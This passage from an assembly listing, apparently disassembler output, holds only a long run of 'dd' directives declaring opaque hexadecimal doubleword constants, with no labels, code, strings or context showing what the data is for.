		dd 6C2CE7D0h, 0B93848D6h, 0C6C7009Ch, 9A4F1121h, 0F6523B76h
		dd 0BAB8ACh, 2F658A53h,	3315CC49h, 0AFD15E09h, 0D0943BCDh
		dd 190D0CE7h, 0C6D9A23Bh, 0D8CEF4ECh, 0C0445FF9h, 6CDEB069h
		dd 0D89E0361h, 80740333h, 0ECD1C4D3h, 342625h, 1372566Ah
		dd 0E15E43Ch, 0ECAD758Bh, 82F90240h, 0E891A870h, 91871ED8h
		dd 79E0EEDCh, 2632AAA6h, 0CD565501h, 86AB967Ah,	1C8494F2h
		dd 0C0C013A0h, 76F478B4h, 6200EDD1h, 0D515594Fh, 680CA6h
		dd 0F1B30FA1h, 0CF19E811h, 3B4C5600h, 0EEC0984Eh, 4F61024Ah
		dd 25D67417h, 765D6840h, 5B89F700h, 0E090801Ah,	0F960138h
		dd 0AC62354Dh, 40D04DBDh, 3A7C2064h, 0D96CC304h, 0CF2B6D2Ah
		dd 3FD54442h, 43308C8h
		dd 6C506121h, 5DBDC0B9h, 6B0090A5h, 0EED41070h,	127F131Fh
		dd 2BDAA159h, 0BDBF8F0Ch, 6D36E300h, 91E9F5ECh,	0E60E0004h
		dd 0AB11053Eh, 2B0AAC79h, 0FC3DE279h, 7E3F0955h, 7F053680h
		dd 75529D0Ch, 82423FF4h, 9E8A5ABDh, 3A809C43h, 7F34256Ch
		dd 0C028DB88h, 0AC68483h, 29C4ACDFh, 7901B45h, 61CF8EBEh
		dd 30106E52h, 17068674h, 72E621F6h, 1488F030h, 10E52604h
		dd 21C1FD02h, 2C436BB4h, 0F4D9A0C0h, 66BAC318h,	113810h
		dd 0D210E2C0h, 79F328AAh, 3998B8EAh, 5377BC02h,	60FE3DCEh
		dd 0D7F5F9h, 0FC104ADDh, 83F3361Ah, 0A51C8F90h,	59002C81h
		dd 0BA58C4BCh, 0C94D0008h, 96798E0h, 7800872Dh,	77FE3C1Fh
		dd 2D52755h, 40759CD9h,	90E0AFABh, 0E6048DC4h, 34CB33DCh
		dd 5D73EB80h, 4C11187Dh, 0EFBC48EDh, 0CB788300h, 0D5AEFE56h
		dd 0C7A47840h, 40524EB8h, 0E05FB3B7h, 68D92700h, 9B072A4Fh
		dd 0F67571h, 5814C10h, 691BFE9Fh, 0AAD98F0Eh, 7FF767BDh
		dd 61190CD0h, 60747B64h, 0EB94907Ah, 8D1EC55Dh,	42BBDA5h
		dd 89E66040h, 8BAC033Fh, 4775282Ah, 0E3A19AEBh,	7CBF20D6h
		dd 71BDA8C0h, 147F1D76h, 0B77AB830h, 3DD3E500h,	9A50B10Fh
		dd 27E7D71Dh, 0FAD22D80h, 3E3665h, 44C34C97h, 0AE4B8C9h
		dd 0D8DAF600h, 66706848h, 56769Bh, 0B8C769A8h, 535E1FA2h
		dd 149E7400h, 0F977CD2Dh, 8DF309A3h, 0EC07B2C3h, 80DAE715h
		dd 478FD245h, 21257704h, 0A9C17359h, 0FDF8A1Ch,	610E7F8h
		dd 9A031720h, 0C70FC2E4h, 81ABE30Ch, 0AC131B0Eh, 7DBF53E4h
		dd 6D061245h, 32D009Ah,	0EC882E4Bh, 9554D73Ch, 6605B1Ah
		dd 4D965FCCh, 96162B9h,	9080D672h, 9DCB7684h, 8552D200h
		dd 0ED5E09D0h, 3A3502F9h, 0D5D9C332h, 97418C80h, 467455DBh
		dd 0C1920300h, 98C5E82Bh, 40FD00A0h, 2048EEB8h,	0FE039B14h
		dd 0F1042EAh, 0A80EC324h, 68C178Bh, 0C12DFFC9h,	1F002870h
		dd 738E427Eh, 1E4F2584h, 472B5288h, 10C86650h, 652C0C51h
		dd 7D03DBF6h, 0BB623C3Bh, 6CFE889Ch, 5B8F00A7h,	0A0F039E9h
		dd 23007DE2h, 35D52D91h, 31D4F656h, 63400549h, 0C453C8FCh
		dd 5E586700h, 83C93C7Ch, 0C8760FF7h, 0B340668Fh, 0BFDCAD9Ch
		dd 187BF200h, 0F89863E8h, 503B000Ch, 95F0C8A8h,	56015196h
		dd 0AAFF92A3h, 808060DEh, 77860650h, 0ED0790FAh, 411C8ECCh
		dd 8CB95880h, 0E2940056h, 1D5F9EB1h, 0E1003F84h, 7919A48Ah
		dd 1E2738A1h, 0C0ECC742h, 2EEAAEDCh, 0D66026Fh,	6587779h
		dd 0DE7CE993h, 8300797Bh, 37503A5Eh, 103BE0Eh, 24279822h
		dd 0D09299C5h, 0AC00BC83h, 2D909AE1h, 0FB1831h,	0C682E013h
		dd 5E485040h, 2C96A000h, 761C27EEh, 0D7F40Ah, 3A5C77FFh
		dd 707F83A9h, 22119300h, 87FA7504h, 0E825298Eh,	8C285250h
		dd 982A0050h, 0FD6A9D5Bh, 8791131Ch, 27996200h,	233F2E7h
		dd 0C972CF5h, 0EC97FBC5h, 60011D08h, 0C1A5DDD9h, 390E9A74h
		dd 20D0C9CCh, 82279CC5h, 3CF74820h, 7B80673Eh, 0C42512A1h
		dd 892AEAB3h, 8202646Dh, 0E18EDA32h, 507E19A9h,	0BCEE88B4h
		dd 41D9ED00h, 0B3982542h, 7A551202h, 0D71823C0h, 3534F898h
		dd 19AC9750h, 0CEA02407h, 52807B3Ah, 4CB56196h,	3100F43Eh
		dd 0C101F2EEh, 4D00D8D1h, 0E7B05448h, 18AC52h, 0F53FE029h
		dd 0C9C0853Bh, 4FF9190Ah, 0F032C34h, 41B204BEh,	94F92C51h
		dd 0C4F92080h, 0A2AD332Ah, 32240600h, 4FB38D48h, 58D00276h
		dd 1A1BE5BDh, 7E8B443h,	55517B4Bh, 0DA11CCB9h, 2BBF7100h
		dd 34AD1EE6h, 0B112064Dh, 3043B393h, 4B963C00h,	73D7E39Dh
		dd 0CF2300C0h, 0A72595A8h, 8E29FE9Ah, 6280E0A4h, 812AB4F7h
		dd 0C370861Fh, 0E6ABD980h, 9FFD09D7h, 9E034716h, 0A5B01EEAh
		dd 50016E18h, 7FA7E303h, 0B5C8983Fh, 89E400E2h,	0A38B4E74h
		dd 491C8CE1h, 0DBC128A0h, 0A14DF38h, 0E8C9D980h, 8DA5F44Bh
		dd 9E5F9F01h, 456091B2h, 4CE0C980h, 66F951E3h, 0C839500h
		dd 0A6F9F69h, 186E1814h, 0E8224831h, 1948D074h,	0D3C58014h
		dd 11D998F2h, 0CF92A177h, 0E8007FBDh, 16DBACDCh, 6E380009h
		dd 99E3A3E1h, 1F00CF12h, 8AF7CD14h, 7B1A3D1Dh, 9C370AF4h
		dd 1AFB3E7h, 0D61105Fh,	0E1ECC908h, 18D0E881h, 527D1104h
		dd 882AA8Ch, 1344CEEh, 38892096h, 0EE2675ABh, 3C02084Eh
		dd 434DC11Eh, 0B0B9C0E1h, 54600D0h, 0C076AB9Bh,	0B7121335h
		dd 9401F35Bh, 3A03EA2h,	0ACDA44Ch, 0B07031BBh, 0A421A0h
		dd 49271739h, 0E3006FA9h, 0B7CA31Dh, 22606C3h, 730E24E1h
		dd 0D86A6570h, 0BC840C97h, 6A202BFDh, 0F4009F60h, 5BCD3FB5h
		dd 0B08CEh, 32FAC63Ah, 0F071EF6Eh, 802DAE3Dh, 9F91656h
		dd 12277ADFh, 303A7650h, 0D015D198h, 8B933D14h,	95B2C490h
		dd 0BDDDD300h, 0A300BC35h, 0EFC25CBEh, 2936A9B1h, 2845616h
		dd 3F5308E9h, 7FD03440h, 22B6B10Eh, 0A7882907h,	3544C8Ch
		dd 96D3D120h, 1511F9E2h, 0C2007C01h, 41526391h,	110370E8h
		dd 0EEA72716h, 0C4F6A065h, 4D698D2h, 0ACA1E3CAh, 0F13C8858h
		dd 1F1DEAFCh, 8E4043B7h, 0A87F3EC9h, 0D27467h, 142175BBh
		dd 0B623BE04h, 0E87C6B01h, 68FDA639h, 141CA836h, 0B13F8464h
		dd 54A3107h, 0AEBD9600h, 9EEE8773h, 0CCB94B00h,	0AC7E5AE2h
		dd 46D100B8h, 0B344A8BCh, 86B8389Ah, 0CAF8A100h, 24C176B1h
		dd 90B63BDCh, 1520C0B0h, 3300B76Fh, 76740266h, 505B22h
		dd 68A9D9F9h, 0C56ACD41h, 0FA798700h, 8BA5340Ch, 0F95C0097h
		dd 0FF4DE86Fh, 69000847h, 41A7C6FEh, 0D80EB7h, 5E16E5D5h
		dd 0B662ADE6h, 6B926700h, 6FF89E85h, 0E7E400ACh, 0D44026D6h
		dd 0C400839Ch, 0BC55B24Fh, 0F26003ADh, 0E3530030h, 67452CDCh
		dd 0A51B8F3Ch, 0B3783341h, 0B98664h, 0ACAAA459h, 4C7E83BEh
		dd 3716C000h, 3D0F30E6h, 8F010024h, 0AA91A114h,	930640CCh
		dd 0FF677D0Eh, 36210040h, 2CC8E698h, 8214ED71h,	18CB6F2h
		dd 1A8CF0D9h, 6EF0B2FDh, 19800654h, 20B4CC87h, 34FC9300h
		dd 0A683C865h, 33700Dh,	0CBD5648Dh, 0AD9010CFh,	4FA56600h
		dd 0D7E46952h, 42D81F24h, 32870046h, 57668EEEh,	0C017D0C0h
		dd 0F8031936h, 0EAFD0E3Ch, 0F1856947h, 0AA9800A6h, 38197C58h
		dd 5CBBCE1Fh, 5490D700h, 22275D3h, 2C298C71h, 0E08F68D0h
		dd 9E10DD00h, 0CD008D2Ah, 0E8F103E3h, 548B3DFDh, 7139C54h
		dd 0FB81EBF3h, 0E6CEB0E4h, 0DAE9B071h, 733D8CA3h, 0F5995AA0h
		dd 1CF40228h, 9F840401h, 630F88Bh, 0DDC5B0E7h, 29950317h
		dd 0FD929E6Eh, 0FF075FC0h, 3870F82Ah, 0D64CD202h, 18B217A2h
		dd 47005F58h, 1EE20BCh,	74F0B486h, 46BD009Ch, 3B157DAAh
		dd 0FB09CE10h, 21239F85h, 0F825B700h, 305077D5h, 46C6907h
		dd 745FC506h, 18D46E3h,	78C10020h, 2B6DBFEDh, 992AE508h
		dd 0D0E0F4E8h, 0E27913Fh, 36D84C8Bh, 83E9ED0Bh,	1DA6AC08h
		dd 0C0AB4341h, 259B2D93h, 0F3CCE8Eh, 0FBCB80A8h, 0FDE90917h
		dd 907406C5h, 0A8BDAE66h, 0ACD70F00h, 773767CFh, 0CD542492h
		dd 403C1240h, 0ACD5E7B4h, 1C018769h, 884DB9FBh,	709C02D6h
		dd 0BA71805Ch, 0D1C98972h, 35597904h, 2083517Ah, 0D24AA03Dh
		dd 0D8705471h, 89030012h, 41A65827h, 0AF7AEFBDh, 5D440807h
		dd 0FC607EBFh, 795B8C47h, 2050061h, 2F45D4F8h, 66099349h
		dd 519F15h, 2401D954h, 0D6705CF0h, 37973804h, 0C98C8AEAh
		dd 333C84C8h, 5A8E8C90h
		dd 3DEE831h, 0AA3BAC1Fh, 2000D3B8h, 0E1141D4h, 2D6542Ch
		dd 1357671Ch, 0A082F932h, 0C61863D9h, 49730841h, 0F85867F4h
		dd 0AE7A1Ah, 0A95752Dh,	86AC6DDAh, 294A4E00h, 9CA5683Fh
		dd 74BA15D1h, 0DA80CC95h, 142D3F48h, 8932421h, 6C0B752Fh
		dd 8F580064h, 0ECE9C0EBh, 0FE71263Bh, 745E8038h, 0A0F1650Eh
		dd 5AA4D201h, 5357CEDDh, 0A599A440h, 7E70126Ch,	90F44241h
		dd 0E108C6Fh, 0C110293h, 0F5C03722h, 41DA2622h,	43020DCh
		dd 0A2CF03A8h, 6EBA6574h, 1DB3C123h, 5ED28278h,	121A5024h
		dd 9910688Ch, 0E7F0004Fh, 0D70C7DC1h, 0CF48B463h, 8B421CA4h
		dd 0F955B0B0h, 86D52968h, 253C5954h, 0A4A980C0h, 5B2C57C5h
		dd 58FEA88h, 468A342Fh,	0F5F80B9Ah, 0A91F4020h,	26005DB1h
		dd 871A55A5h, 31365F42h, 6FD1A0F2h, 0C4404A89h,	3C3031D3h
		dd 5D003962h, 0BE68511Ah, 494A7E05h, 0F9035CC9h, 5C9C3C71h
		dd 0BE4EB7h, 0F50A25D3h, 3F010243h, 0FBCDE34Bh,	13C1C178h
		dd 0EBB813EFh, 265C6BFDh, 0FB00918Ah, 3AF815E1h, 74A40019h
		dd 0D16F1F9Dh, 9101B32Ah, 0FBD2400Ch, 0D4533A0Ah, 0F0F3D87Ch
		dd 7E57045h, 0CF35C686h, 0DD8181AFh, 0FF3C20F4h, 6937961Dh
		dd 54F1C9h, 0D92459D0h,	160F001Bh, 9978175Ch, 3E00CB87h
		dd 71121F91h, 0AB27A4h,	58E636A8h, 48C3E84Ah, 35FF8800h
		dd 998B7239h, 8C5B0010h, 2F9D0264h, 45079C8Dh, 3617186Dh
		dd 27CD35F0h, 86A607F0h, 83344ECBh, 87C1C2Fh, 8CB5C600h
		dd 9B21CE41h, 955B3071h, 73D69ACAh, 9D029E7Eh, 344727CAh
		dd 129C81DAh, 55F8F5D1h, 0F9670007h, 0E2DF83Eh,	0E80026C3h
		dd 8D9902BAh, 0D16A7Ch,	937BD913h, 0DF1E23AEh, 0A274EA00h
		dd 6A7A0ABBh, 5DE15CF8h, 42319230h, 6D1E1E76h, 0F343E458h
		dd 0E049B35Fh, 0E12ABD7Ah, 65C1D8h, 71F82BA7h, 978C86A3h
		dd 11C06490h, 9BB69D85h, 0E8313C23h, 8DE3C800h,	4B1C12B3h
		dd 202A56h, 855E761Ah, 0A1E95039h, 59615318h, 58881409h
		dd 0B140D93Eh, 0F8738DF1h, 0EA4B0CB3h, 6008A439h, 430BE56h
		dd 4F6CE11Eh, 90133918h, 8A485D1Fh, 4C2B601Dh, 0D89670B1h
		dd 0BAE2331Ch, 4FEA4908h, 0A20ED11Ch, 0D32B38D1h, 0DE9D6878h
		dd 0F3802151h, 4A493804h, 9A3D6539h, 1EA8C7AAh,	0DCCE149Ch
		dd 938E3438h, 4E4AA019h, 0E31611A0h, 30AAB3C6h,	6250CA56h
		dd 987F6E60h, 7DFF5364h, 518AE1Ch, 0D2E1EC1Dh, 0E7CC42BAh
		dd 44B8761Fh, 0EE11B162h, 8A203B48h, 10841301h,	1BB96A4Bh
		dd 0C6941420h, 48E3EA08h, 70B3B485h, 9051FA31h,	80923324h
		dd 0D0A07A4Ah, 0C948780Ah, 0CA2B1D60h, 0BFD3153Ch, 3C168548h
		dd 98D32431h, 94C12A01h, 1494A789h, 74C8E1AAh, 20B4B931h
		dd 96E26302h, 0DC911150h, 33F3870Dh, 873A0DAh, 3AAABE88h
		dd 217893C1h, 1EA0C88Eh, 88B0CA86h, 98C3BBFEh, 3138124Ah
		dd 0A08D010h, 89EA00C0h, 6F0490D6h, 0B30908A7h,	6F6A2802h
		dd 0F10ADC96h, 3C303223h, 1048B384h, 0AA10CC11h, 0D86A188Ch
		dd 83B22A88h, 191F93E3h, 0F829B733h, 98B51EE2h,	0C44D536Ch
		dd 930F7461h, 683729E0h, 0ACC358A5h, 7C8BA4BFh,	0D8E9B062h
		dd 309BD891h, 1F017354h, 9E8A4B2Ch, 745D49ECh, 0A6868888h
		dd 3213394Ch, 79C8B35Dh, 70B17067h, 2035E0B1h, 0C6333800h
		dd 0AA78099Eh, 88BCBD6Eh, 0ACE40D06h, 13386DF1h, 381F24B3h
		dd 930CCA1Ch, 288A37CEh, 0EE9A1553h, 72C03049h,	95CCAFE5h
		dd 0AA56F9C5h, 30B4980Dh, 0C7E2C1Ch, 0A63A5CEBh, 6092D6F1h
		dd 5C91767Fh, 0BF468BC0h, 7874A01Dh, 0C01099EDh, 43469294h
		dd 33D329C2h, 5BC9CC3h,	9B3EF05Dh, 702890C1h, 3CAE7B76h
		dd 3D1023FCh, 9300B116h, 4A7B7762h, 7448DF9Ch, 0E280B7DCh
		dd 0A8C6F27Dh, 0C5D6ECACh, 1F364CA8h, 0EEBD288h, 6094F820h
		dd 4D97D9A0h, 5371F462h, 4A08C8D7h, 280AE85Eh, 24A8BB11h
		dd 7044EBD4h, 0E1243E50h, 8F46402Fh, 4C348EA8h,	281525D1h
		dd 31BC06Bh, 842A0D4h, 4DE2804Ch, 51283F72h, 60EFC0B2h
		dd 788A90D8h, 0D753156Ah, 0BB9D87F4h, 388CA427h, 0B06431D3h
		dd 4E5E63B8h, 0A6D917F4h, 0CC7F8D0Ah, 1CD6F48Bh, 0C3E6061Ch
		dd 583537B2h, 244F9329h, 4CD49182h, 0B384A112h,	488935AEh
		dd 0B89C37F5h, 78DADE09h, 538821F7h, 7423356Ah,	4FA1FC80h
		dd 1B88A60Ah, 150A539h,	53EA0EBFh, 0A813022Ch, 0BFE028E4h
		dd 543D2738h, 98E9AC33h, 47EA3CE0h, 0A07F8DCCh,	0A3BC2AACh
		dd 0D58BA3CCh, 9F27BC83h, 7BE03C4Ah, 0CE30A536h, 78F8D3C9h
		dd 0B64CDE6Ah, 40A4316Ch, 88509AAh, 3837D88Ah, 0DE0595F8h
		dd 0B1EB24A6h, 3E41C404h, 0D02D4CEh, 47D495Eh, 29F0C4A3h
		dd 3C586814h, 0D47A050h, 27C230E2h, 2A6AB330h, 0C01FF0C4h
		dd 0AC0574CEh, 4229E79Ch, 59C653B8h, 8BB41C40h,	721FB8CFh
		dd 9CCDF004h, 5D34480h,	918A017Ah, 622A77CBh, 0D6EAD088h
		dd 744BB02Bh, 0DB33981h, 0E85196ACh, 0EC20E7EDh, 0CE4818h
		dd 0F0F14D14h, 813C416h, 0A052930h, 0C80262Eh, 3877F53Bh
		dd 68E387CAh, 6AC082C8h, 780C9775h, 10CC7B2Ah, 79CD7C4Dh
		dd 0A896630Ah, 1032D119h, 0C3E8211Dh, 0E943FAD8h, 119075B4h
		dd 0BED841D4h, 89CD0AC0h, 0B659AC78h, 0A83DDDF0h, 0ABAB13FCh
		dd 74E8F194h, 161838D0h, 4A6B0A7Ah, 3A8C5C94h, 0EAA8E530h
		dd 0A894EE8Ch, 0BA92DC26h, 0F9A99070h, 801B7D53h, 0C0A09C33h
		dd 0CA800F6Ah, 4AF71DC3h, 74E9402Ah, 70BDD0AAh,	424CBCE8h
		dd 6162185Ch, 98DB5C90h, 93180314h, 3B5BAA4Ah, 2C85082Ch
		dd 0FA885178h, 0D38F4035h, 5058CF33h, 8A780B04h, 0F4029054h
		dd 0C0838946h, 4AA1CF23h, 70C444C7h, 0B87B3C28h, 12A65120h
		dd 0A6247F3h, 0AFCC184h, 0D983ACAh, 0E3C82CAAh,	5911E4C8h
		dd 7CBD772Fh, 0C01D3Ah,	1373A999h, 0C87C4A79h, 4AAB919h
		dd 18BCFE10h, 4243520Fh, 7EC8884h, 99811AEFh, 2087D612h
		dd 0C03EF353h, 39499690h, 10F5E533h, 0B9080020h, 0F9130232h
		dd 423E52C3h, 0FD5BC19h, 8F3339D9h, 1FCD8F99h, 0F928AB1Bh
		dd 608C58C4h, 1D306107h, 1911443Eh, 4D08873Fh, 2605C307h
		dd 860AD019h, 60806A08h, 13CF3FF9h, 48DD9939h, 851C80Ch
		dd 770962Dh, 43498CFFh,	0D81824A5h, 0A7386EE4h,	9428CC6Dh
		dd 2D667908h, 1930EB21h, 388B1B99h, 1848BC4Eh, 0C9202319h
		dd 0A338CD77h, 7072E008h, 0F443C0C6h, 5C803E70h, 50B45939h
		dd 87BC628h, 0D691139h,	0D882AE99h, 80AFF707h, 0F910935Ch
		dd 0A4DE5015h, 0E8AA78B3h, 0F8DD78AEh, 9918C384h, 281FBCA8h
		dd 3917E041h, 5C30DA19h, 0D59208Dh, 0F3C5F058h,	9661D9E8h
		dd 0A5EF928h, 8C8C043h,	0DCA13908h, 2076B20Ch, 8786080h
		dd 0D9108D8Bh, 68910F31h, 99E08EE2h, 586A60FFh,	7C2C93CEh
		dd 4800CDFEh, 0F0D89770h, 8BAE6FDh, 73D76364h, 0F9F88B18h
		dd 2828929Eh, 37F4F7DDh, 0A6181F69h, 1C3228EAh,	437098E9h
		dd 82D3E240h, 81BCB9BCh, 0F60279E4h, 40E72820h,	406426D6h
		dd 3C812338h, 188CA259h, 0D908F019h, 68C5D17Eh,	0C01487E2h
		dd 0FBD040C1h, 120CB63h, 0AD183A61h, 0D1EC98EEh, 80DF8A50h
		dd 2031509h, 84283D50h,	30819DD4h, 90248839h, 0DC4350D3h
		dd 103B648Ah, 19248037h, 8C96B33h, 0FF242FECh, 24A23020h
		dd 4989EA10h, 9948CAF8h, 58773710h, 2870E443h, 0FC986220h
		dd 499500C0h, 3DBEAA19h
		dd 1EFC1F9h, 0E88CFCDFh, 44A00691h, 0B910C905h,	0CC057F5Dh
		dd 0F8097194h, 4180FF3h, 0C81D4AFh, 51E3DB5Bh, 11E01CC8h
		dd 4AA8A0D3h, 0A228CAA5h, 0B82B3CF0h, 204381ECh, 0F340D5h
		dd 98BBB283h, 0C922F214h, 81EA2E8h, 0AB17C704h,	2306EE89h
		dd 5976C818h, 7988A767h, 482278DCh, 0AF14308Fh,	1F852096h
		dd 63DA808Bh, 430A648Dh, 343DC13Eh, 0E33B40EFh,	0E58C64D7h
		dd 0A12D4ED4h, 70308480h, 9836219h, 0B0825762h,	0F885ED51h
		dd 35E446ADh, 954C1077h, 936A7C6Ch, 1B143808h, 741526C4h
		dd 8F46288h, 0D0229427h, 744BFC82h, 4604CF9Ah, 18769444h
		dd 80F49909h, 74982039h, 81961931h, 208CCC0Bh, 283860DEh
		dd 1266789Ah, 4D31C809h, 61247810h, 0C1123A88h,	22080D5Dh
		dd 4CFC0538h, 0A8091F50h, 0D9132890h, 5C068ABAh, 4DE06B60h
		dd 687B783Fh, 3EC82970h, 0F06DBA19h, 7970342Ch,	301411CCh
		dd 84C05159h, 0C6199AF0h, 185AAC48h, 0A035B731h, 94417567h
		dd 0E88C3788h, 0D9687D3Dh, 0F31E28DFh, 7CD818B3h, 11DD6208h
		dd 9903E9A3h, 7FB0264Ah, 105B9198h, 21025D5Eh, 0E89912C4h
		dd 0BB199460h, 59206C90h, 0E3F92479h, 0A3343E78h, 0DE6CC008h
		dd 613A4B9Fh, 312B0F52h, 4D6B0755h, 7C2110ACh, 2D8B0054h
		dd 1FEB7133h, 0AB377270h, 0D883187Dh, 0FA300356h, 5C4B7104h
		dd 0EF2B080Fh, 150B0201h, 7380222h, 0E023BD03h,	0C005138Bh
		dd 72E15150h, 74F4CD2Bh, 9663A0F8h, 0C07CE808h,	7C3CB0Bh
		dd 8F3B2BA3h, 216E7372h, 0B03E6873h, 0FE191D74h, 2CA3033Ch
		dd 743D8B9Eh, 3BEFE20h,	0CC50B72h, 44F8AE8Dh, 0A479A2A9h
		dd 7A32620Fh, 9135C231h, 0BECC380Ah, 3E934E01h,	0A3F0D5C5h
		dd 3548F081h, 8ADE2B9Eh, 1C696BB8h, 15ACD460h, 588F60C1h
		dd 9E378BF5h, 0AD054B77h, 2001EB72h, 5CB88005h,	0D54901Fh
		dd 72EF8120h, 1EAE8FDh,	98588195h, 12D1B838h, 0C38CA3FCh
		dd 0CE0AE596h, 0D339DC6Eh, 0D4E40044h, 3F9B373h, 0EBB531C5h
		dd 8F341C49h, 3DD8FC0h,	0E5F5F66Bh, 6AF12070h, 8980FF53h
		dd 725AC955h, 0A4AEBD8Bh, 0D174410Bh, 0C6FA00E6h, 0F24D8575h
		dd 7BEF28ABh, 33F03DCh,	6198EBAAh, 0FDAC1818h, 0CD0B548h
		dd 0AEEC6BA3h, 0AF7444D0h, 842EB36h, 104C6498h,	9046448Dh
		dd 0DF980081h, 0D09EB089h, 8A430402h, 203F0041h, 0BD3EAB28h
		dd 5E30788Bh, 65F8701Ah, 0F5CB309Fh, 0E5F0B08h,	9763BCA0h
		dd 0E74280C2h, 39E49672h, 4600AFD7h, 15C69A1Ah,	0A33AE5D1h
		dd 3032248Bh, 72E8A406h, 88F26550h, 9C61F5Ch, 0C1C3308h
		dd 57CAFF05h, 9407552Ah, 0AA010135h, 2421BF0Bh,	0E102C00Bh
		dd 80078289h, 0E7E6D500h, 7BCB29A3h, 255A414h, 376B35C9h
		dd 0AC753840h, 0F7EAA8A3h, 60F4B486h, 0CD242B73h, 965838A3h
		dd 92327148h, 6D952474h, 6678896Ch, 5D1E2C1Eh, 3190F467h
		dd 14D00628h, 0A4BE304Bh, 0D529E6E0h, 0F85B6E31h, 10252855h
		dd 0E4971418h, 4E8B2034h, 0B6567514h, 181026ECh, 94CBEB0Ah
		dd 0F0FAA38Ah, 0A04C920Ch, 0F0A44884h, 0B57A01E0h, 50578130h
		dd 12B5815h, 0DE78EB9Eh, 24960BA3h, 7D48BE24h, 38401234h
		dd 0A6AACC09h, 0F8109F50h, 83963BDh, 0E028ADD9h, 0DAF8FCB7h
		dd 2B197C98h, 4F2032ECh, 9A839434h, 3091249Ch, 289E1B48h
		dd 0F3430BF1h, 2119519Bh, 75D033A1h, 0F9B038BFh, 5E462B48h
		dd 876F2490h, 6BD0828h,	4857D9ABh, 0ECF92328h, 8410CB6Eh
		dd 0C0C34F69h, 1A613703h, 52764318h, 0E09C0814h, 4AEE1F90h
		dd 0C66AAB06h, 8D3C24C8h, 849B1414h, 81A12B0Ch,	1066D710h
		dd 0A338A4E0h, 0D4191800h, 8016486Dh, 1161CBF0h, 62B02B10h
		dd 65059841h, 673BC08Ch, 10C396D8h, 30FE0F8Bh, 0B483930h
		dd 30C91B7Ch, 0ABDC079Dh, 0A00664E5h, 7428B130h, 0C6BE819Bh
		dd 0BA7D2C41h, 0EF1D1260h, 8A1CE406h, 0E9C326A0h, 18E818C8h
		dd 6665B16Bh, 8805BEE0h, 0D40E288Bh, 9EDA84Bh, 0E0039E70h
		dd 28141AE2h, 19A8627Eh, 0C610F60Dh, 0E2EB1030h, 0E268CD19h
		dd 0F6D8F010h, 1CE498A0h, 25EC58CBh, 5C93306Ch,	5709263Bh
		dd 0F74B0650h, 4824103Ah, 0F873EC30h, 4D12BD9Bh, 0B414045Ch
		dd 8BA0143Ch, 0EF204617h, 0BBD52050h, 8153EB23h, 70DED916h
		dd 0CF50058h, 0C0744272h, 1711BC7Eh, 2495814Fh,	7CF06B7Ch
		dd 710018A5h, 634B1ABFh, 28F490FCh, 48F8E628h, 8B090C07h
		dd 6825E9EAh, 4F9004F8h, 0C4440A56h, 8DD1123Eh,	14C85450h
		dd 7CA40F4Bh, 6BA02F50h, 7802763Ah, 30FFAE24h, 2B08D118h
		dd 72AA2650h, 30575874h, 9155EB37h, 727C3B41h, 93C02432h
		dd 2503771Dh, 0C2BE9A40h, 0EE7A8BB8h, 0F849C105h, 0D5942E36h
		dd 0DCC528FCh, 209ACB2Eh, 3884A035h, 0C9012C8Bh, 2BB9D84Dh
		dd 0DC1D019Ah, 0CABB08Ah, 54C30CE4h, 8A647A60h,	18D33418h
		dd 8B6816FCh, 0B1B849B6h, 575F2422h, 8503B467h,	186B845Bh
		dd 0B8BD35C9h, 0FA624C4Bh, 837F7058h, 26EBDDBCh, 925CBF08h
		dd 2CF412D3h, 0D11689F4h, 68446DBEh, 0A08078D5h, 0C54B3E8Bh
		dd 38802758h, 0BE0ADAA8h, 0BC27ECB9h, 0FC1EF50Ah, 0C0466F92h
		dd 6808B02Dh, 58DC4884h, 40315D20h, 4895C950h, 9C817462h
		dd 8A1614F0h, 902AB520h, 8450B09h, 0E558C028h, 94BB12A0h
		dd 6044649h, 0C829C8F2h, 62457CECh, 18A4CD83h, 30357581h
		dd 0D4A3BB0Bh, 4A8C57A1h, 3613017Ch, 9BA15CECh,	0C057F442h
		dd 0C2284B08h, 9F5F4FA1h, 148788E5h, 2A95D981h,	0D45FDC4Ah
		dd 1991CB05h, 79E89038h, 0CC635277h, 0F98B3161h, 48804E18h
		dd 93100CB1h, 61F59886h, 7C8B90E3h, 19C889AAh, 0FE3807F4h
		dd 0B571885Ah, 0FF835BD8h, 64AC9501h, 0F38224h,	0AE748763h
		dd 39510B1Ch, 0F4A7C337h, 385565B5h, 0B21E6D80h, 2920FD5Ah
		dd 60140A55h, 7EB8A8Eh,	75E44A50h, 78558929h, 0DFB29247h
		dd 81C491ECh, 98C38C64h, 5CA5E8E8h, 0D5E02883h,	1F208ED9h
		dd 1A352C4Ah, 0A18B095Ch, 486A489h, 75260867h, 1D71808Eh
		dd 0A8B8FCC4h, 0C565D5B4h, 8429CB28h, 16E42C58h, 0CEA76E15h
		dd 5DF50A90h, 6B05F846h, 6C70710Eh, 28B3B5E2h, 0A58034CFh
		dd 0C899E8Ch, 0B521DF6Ch, 14B86749h, 3880DAC4h,	71D8D0EEh
		dd 6467DCA9h, 62626658h, 40E1B208h, 988BA454h, 944D5D38h
		dd 0F4597C7Dh, 0FC28E9DDh, 160FE3B0h, 559C1E54h, 6018AA33h
		dd 8B080C23h, 0E510136Eh, 133C704Ch, 0E80B3FC6h, 3668A5B9h
		dd 1CEBB403h, 0A22034A6h, 888CC208h, 0E8602059h, 91AD2EB9h
		dd 60691804h, 624C738Bh, 5B46E08Ch, 64CF59D5h, 0C3A1671Eh
		dd 7134D97Bh, 586284D0h, 19CEFF0Fh, 6C76607Fh, 58F89048h
		dd 0E50068A0h, 0C44F75F4h, 14A45991h, 0AD1022E8h, 450164B9h
		dd 843E4997h, 0E4588A30h, 7260187Eh, 88619896h,	4E32125h
		dd 28BB4060h, 5E1120D0h, 20C58502h, 984D243Eh, 116BD14h
		dd 0F5600B73h, 4C36517h, 12B65470h, 0C54144D4h,	5028AF68h
		dd 0E780BEEFh, 17F7A265h, 44F540A5h, 52008047h,	0A2BDAE20h
		dd 50217ACh, 643E266Bh,	0A5DC386Ah, 95B37518h, 5245E528h
		dd 0B480783Fh, 2602B55Fh, 0BC006DFCh, 3D9111DDh, 752621Ch
		dd 2C44A437h, 0C66A308Fh, 0CC75223Ah, 0EC79DC01h, 63F59DA6h
		dd 72301448h, 2D962077h, 717C3Fh, 0B8989D91h, 90833DA5h
		dd 0D57D3F32h, 1F5D01F4h, 0BCFDA6EEh, 284AC3h, 5C075696h
		dd 6A9746h, 0A6F1089Ch
